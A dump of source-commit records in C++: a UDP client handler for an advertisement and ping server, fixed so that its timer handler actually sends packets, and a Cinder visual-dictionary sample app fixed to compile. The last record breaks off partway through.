00079 eGaussRadauPLegendre, \n\/\/ 00080 eGaussLobattoLegendre, \n\/\/ 00081 eGaussGaussChebyshev, \n\/\/ 00082 eGaussRadauMChebyshev, \n\/\/ 00083 eGaussRadauPChebyshev, \n\/\/ 00084 eGaussLobattoChebyshev, \n\/\/ 00085 eGaussRadauMAlpha0Beta1, \n\/\/ 00086 eGaussRadauMAlpha0Beta2, \n\/\/ 00087 ePolyEvenlySpaced, \n\/\/ 00088 eFourierEvenlySpaced, \n\/\/ 00089 eNodalTriElec, \n\/\/ 00090 eNodalTriFekete, \n\/\/ 00091 eNodalTetElec, \n\/\/ 00092 SIZE_PointsType \n\/\/ 00093 };\n\n\/**\n $Log: main.cpp,v $\n Revision 1.4 2007\/03\/02 01:10:44 ehan\n fixed some bugs\n\n Revision 1.2 2007\/03\/01 14:09:14 ehan\n *** empty log message ***\n\n Revision 1.1 2007\/03\/01 04:36:20 ehan\n Kdevelop for UnitTest\n \n \n Revision 1.1 2007\/2\/26 04:05:23 ehan\n Added the NewUnitTest project.\n \n**\/\n<|endoftext|>"} {"text":"<commit_before>#ifdef HAVE_CONFIG_H\n#include <config.h>\n#endif\n\n#include <asio.hpp>\n\n#include <ctime>\n#include <cstring>\n#include <vector>\n#include <functional>\n\n#include \"common.hxx\"\n#include \"auth.hxx\"\n#include \"service.hxx\"\n#include \"realm.hxx\"\n#include \"client.hxx\"\n#include \"packets.hxx\"\n\nusing namespace std;\n\nClient::Client(const Realm* realm_,\n const asio::ip::udp::endpoint& ep)\n: realm(realm_),\n endpoint(ep),\n online(false),\n lastContact(time(NULL)),\n advert(realm, endpoint),\n advertIterator(realm),\n isIteratingAdverts(false),\n advertIterationTimer(service)\n{ }\n\nClient::Client(const Client& that)\n: realm(that.realm),\n endpoint(that.endpoint),\n online(that.online),\n lastContact(that.lastContact),\n advert(that.advert),\n advertIterator(that.advertIterator),\n isIteratingAdverts(that.isIteratingAdverts),\n advertIterationTimer(service)\n{ }\n\nbool Client::isOnline() const {\n return online && time(NULL) < lastContact + CONNECTION_TIMEOUT;\n}\n\nvoid Client::kill() {\n online = false;\n}\n\nconst asio::ip::udp::endpoint& Client::getEndpoint() const {\n return endpoint;\n}\n\nvoid (Client::*const Client::messages[256])(const byte*, unsigned) = {\n &Client::connect,\n &Client::ping,\n &Client::proxy,\n &Client::post,\n &Client::list,\n &Client::sign,\n &Client::bye,\n \/\/NULLs to end of array are implicit\n};\n\n#define READ(type,from) (*(reinterpret_cast<const type*>(from)))\n#define WRITE(type,to) (*(reinterpret_cast<type*>(to)))\n\nvoid Client::connect(const byte* dat, unsigned len) {\n contact();\n\n \/\/Check length sanity\n if (len < 2*4 + HMAC_SIZE + 2 ||\n len > 2*4 + HMAC_SIZE + MAX_CLIENT_NAME_LENGTH + 1)\n return;\n\n \/\/Ensure NUL-terminated\n if (dat[len-1]) return;\n\n unsigned id = READ(unsigned, dat);\n unsigned timestamp = READ(unsigned, dat+4);\n byte hmac[HMAC_SIZE];\n memcpy(hmac, dat+8, HMAC_SIZE);\n\n const char* name = (const char*)(dat+8+HMAC_SIZE);\n if (!*name) return; \/\/Empty name\n\n if (authenticate(realm, id, timestamp, name, hmac)) {\n online = true;\n\n this->id = id;\n this->name = name;\n\n \/\/Send response\n byte dontKnowWhoIAm = 1;\n ping(&dontKnowWhoIAm, 1);\n }\n}\n\nvoid Client::ping(const byte* dat, unsigned len) {\n contact();\n\n if (len == 1 && dat[0]) {\n \/\/Client needs to know its external address\/port\n vector<byte> response(1 + realm->addressSize + 2);\n response[0] = PAK_YOUARE;\n\n realm->encodeAddress(&response[1], endpoint.address());\n WRITE(unsigned short, &response[response.size()-2]) = endpoint.port();\n\n sendPacket(endpoint, &response[0], response.size());\n } else {\n \/\/Just respond for the sake of two-way traffic\n byte response = PAK_PONG;\n sendPacket(endpoint, &response, 1);\n }\n}\n\nvoid Client::proxy(const byte* dat, unsigned len) {\n contact();\n \/\/TODO\n}\n\nvoid Client::post(const byte* dat, unsigned len) {\n contact();\n\n if (len > MAX_ADVERTISEMENT_SIZE)\n return;\n\n advert.setData(dat, len);\n}\n\nvoid Client::list(const byte* dat, unsigned len) {\n contact();\n\n if (isIteratingAdverts) return;\n\n isIteratingAdverts = true;\n setIterationTimer();\n}\nvoid Client::sign(const byte* dat, unsigned len) {\n contact();\n \/\/TODO\n}\n\nvoid Client::bye(const byte* dat, unsigned len) {\n contact();\n\n online = false;\n}\n\nvoid Client::contact() {\n lastContact = time(NULL);\n}\n\n\/\/G++'s bind1st seems to be broken, as it tries to overload its operator() in a\n\/\/forbidden manner.\nstruct ClientTHBind1st {\n Client* that;\n void (*f)(Client*, const asio::error_code&);\n\n void operator()(const asio::error_code& code) {\n f(that, code);\n }\n};\n\nvoid Client::setIterationTimer() {\n advertIterationTimer.expires_from_now(boost::posix_time::milliseconds(512));\n ClientTHBind1st f;\n f.that = this;\n f.f = &Client::timerHandler_static;\n advertIterationTimer.async_wait(f);\n}\n\nvoid Client::timerHandler_static(Client* c, const asio::error_code& code) {\n c->timerHandler(code);\n}\n\nvoid Client::timerHandler(const asio::error_code&) {\n asio::ip::udp::endpoint from;\n vector<byte> pack(1 + realm->addressSize + 2);\n if (advertIterator.next(from, pack)) {\n pack[0] = PAK_FROMOTHER;\n realm->encodeAddress(&pack[1], from.address());\n WRITE(unsigned short, &pack[1+realm->addressSize]) = from.port();\n setIterationTimer();\n } else {\n isIteratingAdverts = false;\n }\n}\n<commit_msg>Fix Client::timerHandler() not actually sending the packet.<commit_after>#ifdef HAVE_CONFIG_H\n#include <config.h>\n#endif\n\n#include <asio.hpp>\n\n#include <ctime>\n#include <cstring>\n#include <vector>\n#include <functional>\n\n#include \"common.hxx\"\n#include \"auth.hxx\"\n#include \"service.hxx\"\n#include \"realm.hxx\"\n#include \"client.hxx\"\n#include \"packets.hxx\"\n\nusing namespace std;\n\nClient::Client(const Realm* realm_,\n const asio::ip::udp::endpoint& ep)\n: realm(realm_),\n endpoint(ep),\n online(false),\n lastContact(time(NULL)),\n advert(realm, endpoint),\n advertIterator(realm),\n isIteratingAdverts(false),\n advertIterationTimer(service)\n{ }\n\nClient::Client(const Client& that)\n: realm(that.realm),\n endpoint(that.endpoint),\n online(that.online),\n lastContact(that.lastContact),\n advert(that.advert),\n advertIterator(that.advertIterator),\n isIteratingAdverts(that.isIteratingAdverts),\n advertIterationTimer(service)\n{ }\n\nbool Client::isOnline() const {\n return online && time(NULL) < lastContact + CONNECTION_TIMEOUT;\n}\n\nvoid Client::kill() {\n online = false;\n}\n\nconst asio::ip::udp::endpoint& Client::getEndpoint() const {\n return endpoint;\n}\n\nvoid (Client::*const Client::messages[256])(const byte*, unsigned) = {\n &Client::connect,\n &Client::ping,\n &Client::proxy,\n &Client::post,\n &Client::list,\n &Client::sign,\n &Client::bye,\n \/\/NULLs to end of array are implicit\n};\n\n#define READ(type,from) (*(reinterpret_cast<const type*>(from)))\n#define WRITE(type,to) (*(reinterpret_cast<type*>(to)))\n\nvoid Client::connect(const byte* dat, unsigned len) {\n contact();\n\n \/\/Check length sanity\n if (len < 2*4 + HMAC_SIZE + 2 ||\n len > 2*4 + HMAC_SIZE + MAX_CLIENT_NAME_LENGTH + 1)\n return;\n\n \/\/Ensure NUL-terminated\n if (dat[len-1]) return;\n\n unsigned id = READ(unsigned, dat);\n unsigned timestamp = READ(unsigned, dat+4);\n byte hmac[HMAC_SIZE];\n memcpy(hmac, dat+8, HMAC_SIZE);\n\n const char* name = (const char*)(dat+8+HMAC_SIZE);\n if (!*name) return; \/\/Empty name\n\n if (authenticate(realm, id, timestamp, name, hmac)) {\n online = true;\n\n this->id = id;\n this->name = name;\n\n \/\/Send response\n byte dontKnowWhoIAm = 1;\n ping(&dontKnowWhoIAm, 1);\n }\n}\n\nvoid Client::ping(const byte* dat, unsigned len) {\n contact();\n\n if (len == 1 && dat[0]) {\n \/\/Client needs to know its external address\/port\n vector<byte> response(1 + realm->addressSize + 2);\n response[0] = PAK_YOUARE;\n\n realm->encodeAddress(&response[1], endpoint.address());\n WRITE(unsigned short, &response[response.size()-2]) = endpoint.port();\n\n sendPacket(endpoint, &response[0], response.size());\n } else {\n \/\/Just respond for the sake of two-way traffic\n byte response = PAK_PONG;\n sendPacket(endpoint, &response, 1);\n }\n}\n\nvoid Client::proxy(const byte* dat, unsigned len) {\n contact();\n \/\/TODO\n}\n\nvoid Client::post(const byte* dat, unsigned len) {\n contact();\n\n if (len > MAX_ADVERTISEMENT_SIZE)\n return;\n\n advert.setData(dat, len);\n}\n\nvoid Client::list(const byte* dat, unsigned len) {\n contact();\n\n if (isIteratingAdverts) return;\n\n isIteratingAdverts = true;\n setIterationTimer();\n}\nvoid Client::sign(const byte* dat, unsigned len) {\n contact();\n \/\/TODO\n}\n\nvoid Client::bye(const byte* dat, unsigned len) {\n contact();\n\n online = false;\n}\n\nvoid Client::contact() {\n lastContact = time(NULL);\n}\n\n\/\/G++'s bind1st seems to be broken, as it tries to overload its operator() in a\n\/\/forbidden manner.\nstruct ClientTHBind1st {\n Client* that;\n void (*f)(Client*, const asio::error_code&);\n\n void operator()(const asio::error_code& code) {\n f(that, code);\n }\n};\n\nvoid Client::setIterationTimer() {\n advertIterationTimer.expires_from_now(boost::posix_time::milliseconds(512));\n ClientTHBind1st f;\n f.that = this;\n f.f = &Client::timerHandler_static;\n advertIterationTimer.async_wait(f);\n}\n\nvoid Client::timerHandler_static(Client* c, const asio::error_code& code) {\n c->timerHandler(code);\n}\n\nvoid Client::timerHandler(const asio::error_code&) {\n asio::ip::udp::endpoint from;\n vector<byte> pack(1 + realm->addressSize + 2);\n if (advertIterator.next(from, pack)) {\n pack[0] = PAK_FROMOTHER;\n realm->encodeAddress(&pack[1], from.address());\n WRITE(unsigned short, &pack[1+realm->addressSize]) = from.port();\n sendPacket(endpoint, &pack[0], pack.size());\n setIterationTimer();\n } else {\n isIteratingAdverts = false;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Code Copyright 2011 Robert Hodgin ( http:\/\/roberthodgin.com ) and Andrew Bell ( http:\/\/drawnline.net )\n * Used with permission for the Cinder Project ( http:\/\/libcinder.org )\n *\/\n\n#include \"cinder\/app\/AppBasic.h\"\n#include \"cinder\/Rand.h\"\n#include \"cinder\/ImageIo.h\"\n#include \"cinder\/gl\/gl.h\"\n#include \"cinder\/gl\/Texture.h\"\n#include \"cinder\/gl\/TextureFont.h\"\n\n#include <list>\n#include <algorithm>\n\n#include \"Resources.h\"\n#include \"WordNode.h\"\n#include \"Dictionary.h\"\n#include \"CenterState.h\"\n\nusing namespace ci;\nusing namespace ci::app;\nusing namespace std;\n\nclass VisualDictionaryApp : public AppBasic {\n public:\n\tvoid prepareSettings( Settings *settings );\n\tvoid layoutWords( vector<string> words, float radius );\t\n\tvoid setup();\n\tvoid initialize();\n\tvoid enableSelections() { mEnableSelections = true; }\n\tvoid mouseMove( MouseEvent event );\t\n\tvoid mouseDown( MouseEvent event );\n\tvoid keyDown( KeyEvent event );\n\tfloat getLayoutRadius(){ return getWindowHeight() * 0.415f; }\n\n\tvoid selectNode( list<WordNode>::iterator selectedWord );\n\n\tvoid update();\n\tvoid draw();\n\n\tlist<WordNode>::iterator\tgetNodeAtPoint( const Vec2f &point );\n\t\n\tshared_ptr<Dictionary>\t\tmDictionary;\n\tlist<WordNode>\t\t\t\tmNodes, mDyingNodes;\n\tlist<WordNode>::iterator\tmMouseOverNode;\n\t\n\tCenterState\t\t\t\t\tmCenterState;\n\n\tgl::Texture\t\t\t\t\tmBgTex;\n\tgl::Texture\t\t\t\t\tmCircleTex;\n\tgl::Texture\t\t\t\t\tmSmallCircleTex;\n\t\n\tbool\t\t\t\t\t\tmEnableSelections;\n\tWordNode\t\t\t\t\tmCurrentNode;\n\tfloat\t\t\t\t\t\tmCurrentCircleRadius;\n};\n\nvoid VisualDictionaryApp::prepareSettings( Settings *settings )\n{\n\tsettings->setWindowSize( 800, 800 );\n}\n\nvoid VisualDictionaryApp::layoutWords( vector<string> words, float radius )\n{\n\tint radiusDivisor = 26;\/\/std::max<int>( 10, words.size() ); \/\/ don't let the circles get too small\n\tmCurrentCircleRadius = radius \/ radiusDivisor * M_PI;\n\tfor( size_t w = 0; w < words.size(); ++w ) {\n\t\tint wordLength\t= words[w].length();\n\t\tstring s\t\t= words[w];\n\t\tint charIndex\t= (int)s[wordLength-1] - 97;\n\t\tfloat charPer\t= charIndex\/26.0f;\n\t\tfloat angle\t\t= charPer * 2.0f * M_PI;\n\t\t\/\/float angle = w \/ (float)words.size() * 2 * M_PI;\n\t\tVec2f pos = getWindowCenter() + radius * Vec2f( cos( angle ), sin( angle ) );\n\t\tColor col( CM_HSV, charPer, 0.875f, 1 );\n\t\tmNodes.push_back( WordNode( words[w] ) );\n\t\tmNodes.back().mPos = getWindowCenter() + radius * 0.5f * Vec2f( cos( angle ), sin( angle ) );\n\t\tmNodes.back().mColor = ColorA( col, 0.0f );\n\t\tmNodes.back().mRadiusDest = mCurrentCircleRadius;\n\t\tmNodes.back().mRadius = 0;\n\t\t\n\t\ttimeline().apply( &mNodes.back().mRadius, mNodes.back().mRadiusDest, 0.4f, EaseOutAtan( 10 ) ).timelineEnd( -0.39f );\n\t\ttimeline().apply( &mNodes.back().mPos, pos, 0.4f, EaseOutAtan( 10 ) ).timelineEnd( -0.39f );\n\t\ttimeline().apply( &mNodes.back().mColor, ColorA( col, 1.0f ), 0.4f, EaseOutAtan( 10 ) ).timelineEnd( -0.39f );\n\t}\n}\n\nvoid VisualDictionaryApp::setup()\n{\n\tmCenterState = CenterState( 140.0f );\n\t\n\t\/\/ load textures\n\tmBgTex = gl::Texture( loadImage( loadResource( RES_BACKGROUND_IMAGE ) ) );\n\tgl::Texture::Format fmt;\n\tfmt.enableMipmapping();\n\tmCircleTex = gl::Texture( loadImage( loadResource( RES_CIRCLE_IMAGE ) ), fmt );\n\tmSmallCircleTex = gl::Texture( loadImage( loadResource( RES_SMALL_CIRCLE_IMAGE ) ), fmt );\n\t\n\t\/\/ load the dictionary\n\tmDictionary = shared_ptr<Dictionary>( new Dictionary( loadResource( RES_DICTIONARY ) ) );\n\n\t\/\/ give the WordNodes their font\n\tWordNode::setFont( gl::TextureFont::create( Font( loadResource( RES_FONT ), 34 ), gl::TextureFont::Format().enableMipmapping( true ) ) );\n\n\t\/\/ give CenterState its font\n\tCenterState::setFont( gl::TextureFont::create( Font( loadResource( RES_FONT ), 150 ), gl::TextureFont::Format().enableMipmapping( true ) ) );\n\t\n\tinitialize();\n}\n\nvoid VisualDictionaryApp::initialize()\n{\n\tmNodes.clear();\n\t\/\/ make the first 26 nodes, one for each letter\n\tvector<string> initialWords;\n\tfor( char c = 0; c < 26; ++c )\n\t\tinitialWords.push_back( string( 1, (char)('a' + c) ) );\n\t\n\tlayoutWords( initialWords, getLayoutRadius() );\n\t\n\tmCenterState.mCircles.clear();\n\tmCenterState.setWord( \"\" );\n\t\n\t\/\/ mark our currently highlighted node as \"none\"\n\tmMouseOverNode = mNodes.end();\n\t\n\tmEnableSelections = true;\n}\n\nlist<WordNode>::iterator VisualDictionaryApp::getNodeAtPoint( const Vec2f &point )\n{\n\tfor( list<WordNode>::iterator nodeIt = mNodes.begin(); nodeIt != mNodes.end(); ++nodeIt ) {\n\t\tif( nodeIt->isPointInside( point ) )\n\t\t\treturn nodeIt;\n\t}\n\t\n\treturn mNodes.end();\n}\n\n\nvoid VisualDictionaryApp::keyDown( KeyEvent event )\n{\n\tif( ! mEnableSelections )\n\t\treturn;\n\t\n\tif( isalpha( event.getChar() ) ){\n\t\t\/\/ see if we can find a word that ends with this letter\n\t\tlist<WordNode>::iterator foundWord = mNodes.end();\n\t\tfor( foundWord = mNodes.begin(); foundWord != mNodes.end(); ++foundWord ) {\n\t\t\tif( foundWord->getWord()[foundWord->getWord().size()-1] == event.getChar() )\n\t\t\t\tbreak;\n\t\t}\n\t\t\n\t\tif( foundWord != mNodes.end() )\n\t\t\tselectNode( foundWord );\n\t} else {\n\t\tif( event.getCode() == KeyEvent::KEY_BACKSPACE ){\n\t\t\tinitialize();\n\t\t}\n\t}\n}\n\nvoid VisualDictionaryApp::mouseDown( MouseEvent event )\n{\n\tlist<WordNode>::iterator clickedNode = getNodeAtPoint( event.getPos() );\n\tif( clickedNode != mNodes.end() ){\n\t\tselectNode( clickedNode );\n\t} else {\n\t\tif( ( event.getPos() - getWindowCenter() ).length() < 180.0f )\n\t\t\tinitialize();\n\t}\n}\n\n\nvoid VisualDictionaryApp::mouseMove( MouseEvent event )\n{\n\tif( ! mEnableSelections )\n\t\treturn;\n\t\n\tlist<WordNode>::iterator currentMouseOver = getNodeAtPoint( event.getPos() );\n\n\tif( currentMouseOver != mMouseOverNode ) {\n\t\tmMouseOverNode = currentMouseOver;\n\t\t\n\t\t\/\/ make all the circles not moused-over normal size, and the mouse-over big\n\t\tfor( list<WordNode>::iterator nodeIt = mNodes.begin(); nodeIt != mNodes.end(); ++nodeIt ) {\n\t\t\tif( mMouseOverNode == nodeIt ){\n\t\t\t\ttimeline().apply( &nodeIt->mRadius, mCurrentCircleRadius * 1.35f, 0.25f, EaseOutElastic( 2.0f, 1.2f ) );\n\t\t\t} else {\n\t\t\t\ttimeline().apply( &nodeIt->mRadius, mCurrentCircleRadius, 0.5f, EaseOutAtan( 10 ) );\n\t\t\t}\n\t\t}\n\t}\n}\n\nvoid VisualDictionaryApp::selectNode( list<WordNode>::iterator selectedNode )\n{\n\t\/\/ have all the nodes but this one disappear\n\tfor( list<WordNode>::iterator nodeIt = mNodes.begin(); nodeIt != mNodes.end(); ++nodeIt ) {\n\t\tif( nodeIt != selectedNode ) {\n\t\t\t\/\/ copy this node to dying nodes and erase it from the current\n\t\t\tmDyingNodes.push_back( *nodeIt );\n\t\t\ttimeline().apply( &mDyingNodes.back().mRadius, 0.0f, 0.5f, EaseInQuint() )\n\t\t\t\t.finishFn( bind( &WordNode::setShouldBeDeleted, &(mDyingNodes.back()) ) ); \/\/ when you're done, mark yourself for deletion\n\t\t}\n\t}\n\t\n\tmCurrentNode = *selectedNode;\n\tmCurrentNode.setSelected();\n\tmNodes.clear();\n\t\n\tColor c = Color( mCurrentNode.mColor().r, mCurrentNode.mColor().g, mCurrentNode.mColor().b );\n\tVec2f dirToCenter = ( mCurrentNode.mPos() - getWindowCenter() ) * 0.5f;\n\t\n\ttimeline().add( bind( &CenterState::addCircle, &mCenterState, mCurrentNode.getWord(), c, dirToCenter * 0.2f ), timeline().getCurrentTime() + 0.25f );\n\n\t\/\/ move the selected node towards the center\n\t\n\ttimeline().apply( &mCurrentNode.mPos, getWindowCenter() + dirToCenter, 0.3f, EaseInQuint() );\n\ttimeline().apply( &mCurrentNode.mColor, ColorA( mCurrentNode.mColor().r, mCurrentNode.mColor().g, mCurrentNode.mColor().b, 0.0f ), 0.3f, EaseInAtan( 10 ) );\n\n\t\/\/ now add all the descendants of the clicked node\n\tvector<string> children( mDictionary->getDescendants( mCurrentNode.getWord() ) );\n\tlayoutWords( children, getLayoutRadius() );\n\t\n\t\/\/ mark our currently highlighted node as \"none\"\n\tmMouseOverNode = mNodes.end();\n\t\n\t\/\/ once everything is done animating, then we can allow selections, but for now, disable them\n\tmEnableSelections = false;\n\tstd::function<void()> cueAction = bind( &VisualDictionaryApp::enableSelections, this );\n\ttimeline().add( cueAction, timeline().getEndTime() - 2.0f );\n}\n\nvoid VisualDictionaryApp::update()\n{\n\tif( mDictionary->isCompleteWord( mCurrentNode.getWord() ) ){\n\t\tmCenterState.update( mCurrentNode );\n\t}\n\t\n\t\/\/ erase any nodes which have been marked as ready to be deleted\n\tmDyingNodes.remove_if( bind( &WordNode::shouldBeDeleted, _1 ) );\n}\n\nvoid VisualDictionaryApp::draw()\n{\n\tgl::clear( Color( 0, 0, 0 ) );\n\tgl::enableAlphaBlending();\n\t\n\t\/\/ draw background image\n\tgl::color( Color::white() );\n\tmBgTex.enableAndBind();\n\tgl::drawSolidRect( getWindowBounds() );\n\t\n\t\n\tmCircleTex.bind();\n\t\n\t\/\/ draw the center circles\n\tmCenterState.draw();\n\t\n\t\/\/ draw the dying nodes\n\tmSmallCircleTex.bind();\n\tfor( list<WordNode>::const_iterator nodeIt = mDyingNodes.begin(); nodeIt != mDyingNodes.end(); ++nodeIt )\n\t\tnodeIt->draw();\n\t\n\t\/\/ draw all the non-mouseOver nodes\n\tfor( list<WordNode>::const_iterator nodeIt = mNodes.begin(); nodeIt != mNodes.end(); ++nodeIt ){\n\t\tif( nodeIt != mMouseOverNode )\n\t\t\tnodeIt->draw();\n\t}\n\t\n\t\/\/ if there is a mouseOverNode, draw it last so it is 'above' the non-mouseOver nodes\n\tif( mMouseOverNode != mNodes.end() )\n\t\tmMouseOverNode->draw();\n\t\n\t\/\/ if there is a currentNode (previously selected), draw it\n\tif( ! mCurrentNode.getWord().empty() )\n\t\tmCurrentNode.draw();\n\t\n\tmSmallCircleTex.disable();\n}\n\n\nCINDER_APP_BASIC( VisualDictionaryApp, RendererGl )\n<commit_msg>Fixed an issue with the timeline VisualDictionary sample, which did not compile in vs2010. Please check if this fix is compatible with MacOSX before merging it.<commit_after>\/*\n * Code Copyright 2011 Robert Hodgin ( http:\/\/roberthodgin.com ) and Andrew Bell ( http:\/\/drawnline.net )\n * Used with permission for the Cinder Project ( http:\/\/libcinder.org )\n *\/\n\n#include \"cinder\/app\/AppBasic.h\"\n#include \"cinder\/Rand.h\"\n#include \"cinder\/ImageIo.h\"\n#include \"cinder\/gl\/gl.h\"\n#include \"cinder\/gl\/Texture.h\"\n#include \"cinder\/gl\/TextureFont.h\"\n\n#include <list>\n#include <algorithm>\n\n#include \"Resources.h\"\n#include \"WordNode.h\"\n#include \"Dictionary.h\"\n#include \"CenterState.h\"\n\nusing namespace ci;\nusing namespace ci::app;\nusing namespace std;\n\nclass VisualDictionaryApp : public AppBasic {\n public:\n\tvoid prepareSettings( Settings *settings );\n\tvoid layoutWords( vector<string> words, float radius );\t\n\tvoid setup();\n\tvoid initialize();\n\tvoid enableSelections() { mEnableSelections = true; }\n\tvoid mouseMove( MouseEvent event );\t\n\tvoid mouseDown( MouseEvent event );\n\tvoid keyDown( KeyEvent event );\n\tfloat getLayoutRadius(){ return getWindowHeight() * 0.415f; }\n\n\tvoid selectNode( list<WordNode>::iterator selectedWord );\n\n\tvoid update();\n\tvoid draw();\n\n\tlist<WordNode>::iterator\tgetNodeAtPoint( const Vec2f &point );\n\t\n\tshared_ptr<Dictionary>\t\tmDictionary;\n\tlist<WordNode>\t\t\t\tmNodes, mDyingNodes;\n\tlist<WordNode>::iterator\tmMouseOverNode;\n\t\n\tCenterState\t\t\t\t\tmCenterState;\n\n\tgl::Texture\t\t\t\t\tmBgTex;\n\tgl::Texture\t\t\t\t\tmCircleTex;\n\tgl::Texture\t\t\t\t\tmSmallCircleTex;\n\t\n\tbool\t\t\t\t\t\tmEnableSelections;\n\tWordNode\t\t\t\t\tmCurrentNode;\n\tfloat\t\t\t\t\t\tmCurrentCircleRadius;\n};\n\nvoid VisualDictionaryApp::prepareSettings( Settings *settings )\n{\n\tsettings->setWindowSize( 800, 800 );\n}\n\nvoid VisualDictionaryApp::layoutWords( vector<string> words, float radius )\n{\n\tint radiusDivisor = 26;\/\/std::max<int>( 10, words.size() ); \/\/ don't let the circles get too small\n\tmCurrentCircleRadius = radius \/ radiusDivisor * M_PI;\n\tfor( size_t w = 0; w < words.size(); ++w ) {\n\t\tint wordLength\t= words[w].length();\n\t\tstring s\t\t= words[w];\n\t\tint charIndex\t= (int)s[wordLength-1] - 97;\n\t\tfloat charPer\t= charIndex\/26.0f;\n\t\tfloat angle\t\t= charPer * 2.0f * M_PI;\n\t\t\/\/float angle = w \/ (float)words.size() * 2 * M_PI;\n\t\tVec2f pos = getWindowCenter() + radius * Vec2f( cos( angle ), sin( angle ) );\n\t\tColor col( CM_HSV, charPer, 0.875f, 1 );\n\t\tmNodes.push_back( WordNode( words[w] ) );\n\t\tmNodes.back().mPos = getWindowCenter() + radius * 0.5f * Vec2f( cos( angle ), sin( angle ) );\n\t\tmNodes.back().mColor = ColorA( col, 0.0f );\n\t\tmNodes.back().mRadiusDest = mCurrentCircleRadius;\n\t\tmNodes.back().mRadius = 0;\n\t\t\n\t\ttimeline().apply( &mNodes.back().mRadius, mNodes.back().mRadiusDest, 0.4f, EaseOutAtan( 10 ) ).timelineEnd( -0.39f );\n\t\ttimeline().apply( &mNodes.back().mPos, pos, 0.4f, EaseOutAtan( 10 ) ).timelineEnd( -0.39f );\n\t\ttimeline().apply( &mNodes.back().mColor, ColorA( col, 1.0f ), 0.4f, EaseOutAtan( 10 ) ).timelineEnd( -0.39f );\n\t}\n}\n\nvoid VisualDictionaryApp::setup()\n{\n\tmCenterState = CenterState( 140.0f );\n\t\n\t\/\/ load textures\n\tmBgTex = gl::Texture( loadImage( loadResource( RES_BACKGROUND_IMAGE ) ) );\n\tgl::Texture::Format fmt;\n\tfmt.enableMipmapping();\n\tmCircleTex = gl::Texture( loadImage( loadResource( RES_CIRCLE_IMAGE ) ), fmt );\n\tmSmallCircleTex = gl::Texture( loadImage( loadResource( RES_SMALL_CIRCLE_IMAGE ) ), fmt );\n\t\n\t\/\/ load the dictionary\n\tmDictionary = shared_ptr<Dictionary>( new Dictionary( loadResource( RES_DICTIONARY ) ) );\n\n\t\/\/ give the WordNodes their font\n\tWordNode::setFont( gl::TextureFont::create( Font( loadResource( RES_FONT ), 34 ), gl::TextureFont::Format().enableMipmapping( true ) ) );\n\n\t\/\/ give CenterState its font\n\tCenterState::setFont( gl::TextureFont::create( Font( loadResource( RES_FONT ), 150 ), gl::TextureFont::Format().enableMipmapping( true ) ) );\n\t\n\tinitialize();\n}\n\nvoid VisualDictionaryApp::initialize()\n{\n\tmNodes.clear();\n\t\/\/ make the first 26 nodes, one for each letter\n\tvector<string> initialWords;\n\tfor( char c = 0; c < 26; ++c )\n\t\tinitialWords.push_back( string( 1, (char)('a' + c) ) );\n\t\n\tlayoutWords( initialWords, getLayoutRadius() );\n\t\n\tmCenterState.mCircles.clear();\n\tmCenterState.setWord( \"\" );\n\t\n\t\/\/ mark our currently highlighted node as \"none\"\n\tmMouseOverNode = mNodes.end();\n\t\n\tmEnableSelections = true;\n}\n\nlist<WordNode>::iterator VisualDictionaryApp::getNodeAtPoint( const Vec2f &point )\n{\n\tfor( list<WordNode>::iterator nodeIt = mNodes.begin(); nodeIt != mNodes.end(); ++nodeIt ) {\n\t\tif( nodeIt->isPointInside( point ) )\n\t\t\treturn nodeIt;\n\t}\n\t\n\treturn mNodes.end();\n}\n\n\nvoid VisualDictionaryApp::keyDown( KeyEvent event )\n{\n\tif( ! mEnableSelections )\n\t\treturn;\n\t\n\tif( isalpha( event.getChar() ) ){\n\t\t\/\/ see if we can find a word that ends with this letter\n\t\tlist<WordNode>::iterator foundWord = mNodes.end();\n\t\tfor( foundWord = mNodes.begin(); foundWord != mNodes.end(); ++foundWord ) {\n\t\t\tif( foundWord->getWord()[foundWord->getWord().size()-1] == event.getChar() )\n\t\t\t\tbreak;\n\t\t}\n\t\t\n\t\tif( foundWord != mNodes.end() )\n\t\t\tselectNode( foundWord );\n\t} else {\n\t\tif( event.getCode() == KeyEvent::KEY_BACKSPACE ){\n\t\t\tinitialize();\n\t\t}\n\t}\n}\n\nvoid VisualDictionaryApp::mouseDown( MouseEvent event )\n{\n\tlist<WordNode>::iterator clickedNode = getNodeAtPoint( event.getPos() );\n\tif( clickedNode != mNodes.end() ){\n\t\tselectNode( clickedNode );\n\t} else {\n\t\tif( ( event.getPos() - getWindowCenter() ).length() < 180.0f )\n\t\t\tinitialize();\n\t}\n}\n\n\nvoid VisualDictionaryApp::mouseMove( MouseEvent event )\n{\n\tif( ! mEnableSelections )\n\t\treturn;\n\t\n\tlist<WordNode>::iterator currentMouseOver = getNodeAtPoint( event.getPos() );\n\n\tif( currentMouseOver != mMouseOverNode ) {\n\t\tmMouseOverNode = currentMouseOver;\n\t\t\n\t\t\/\/ make all the circles not moused-over normal size, and the mouse-over big\n\t\tfor( list<WordNode>::iterator nodeIt = mNodes.begin(); nodeIt != mNodes.end(); ++nodeIt ) {\n\t\t\tif( mMouseOverNode == nodeIt ){\n\t\t\t\ttimeline().apply( &nodeIt->mRadius, mCurrentCircleRadius * 1.35f, 0.25f, EaseOutElastic( 2.0f, 1.2f ) );\n\t\t\t} else {\n\t\t\t\ttimeline().apply( &nodeIt->mRadius, mCurrentCircleRadius, 0.5f, EaseOutAtan( 10 ) );\n\t\t\t}\n\t\t}\n\t}\n}\n\nvoid VisualDictionaryApp::selectNode( list<WordNode>::iterator selectedNode )\n{\n\t\/\/ have all the nodes but this one disappear\n\tfor( list<WordNode>::iterator nodeIt = mNodes.begin(); nodeIt != mNodes.end(); ++nodeIt ) {\n\t\tif( nodeIt != selectedNode ) {\n\t\t\t\/\/ copy this node to dying nodes and erase it from the current\n\t\t\tmDyingNodes.push_back( *nodeIt );\n\t\t\ttimeline().apply( &mDyingNodes.back().mRadius, 0.0f, 0.5f, EaseInQuint() )\n\t\t\t\t.finishFn( bind( &WordNode::setShouldBeDeleted, &(mDyingNodes.back()) ) ); \/\/ when you're done, mark yourself for deletion\n\t\t}\n\t}\n\t\n\tmCurrentNode = *selectedNode;\n\tmCurrentNode.setSelected();\n\tmNodes.clear();\n\t\n\tColor c = Color( mCurrentNode.mColor().r, mCurrentNode.mColor().g, mCurrentNode.mColor().b );\n\tVec2f dirToCenter = ( mCurrentNode.mPos() - getWindowCenter() ) * 0.5f;\n\t\n\ttimeline().add( bind( &CenterState::addCircle, &mCenterState, mCurrentNode.getWord(), c, dirToCenter * 0.2f 